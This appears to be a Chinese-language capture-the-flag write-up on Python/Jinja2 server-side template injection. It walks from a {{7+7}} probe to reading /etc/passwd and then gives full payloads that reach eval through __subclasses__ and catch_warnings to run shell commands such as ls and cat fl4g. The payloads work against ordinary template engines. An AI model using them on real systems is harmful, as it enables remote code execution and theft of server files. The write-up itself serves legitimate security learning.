python模板注入
看了一堆文章,也不是看的很明白,反而把題目做出來了
大概思路如下
簡單探測
http://111.198.29.45:42611/{{7+7}}
返回

說明服務器執行了{{}}里面這一段代碼
利用{{ config.items() }}可以查看服務器的配置信息

讀取passwd信息
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

執行成功
Python3代碼
執行下面這一段代碼
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍歷基類 找到eval函數
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //導入cmd 執行popen里的命令 read讀出數據
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
列出文件

修改一下命令
ls 改成cat fl4g,就可以讀取flag了
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍歷基類 找到eval函數
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Get flag成功
Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
說起來參考了這幾位師傅的文章,鏈接如下
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
https://xz.aliyun.com/t/2908
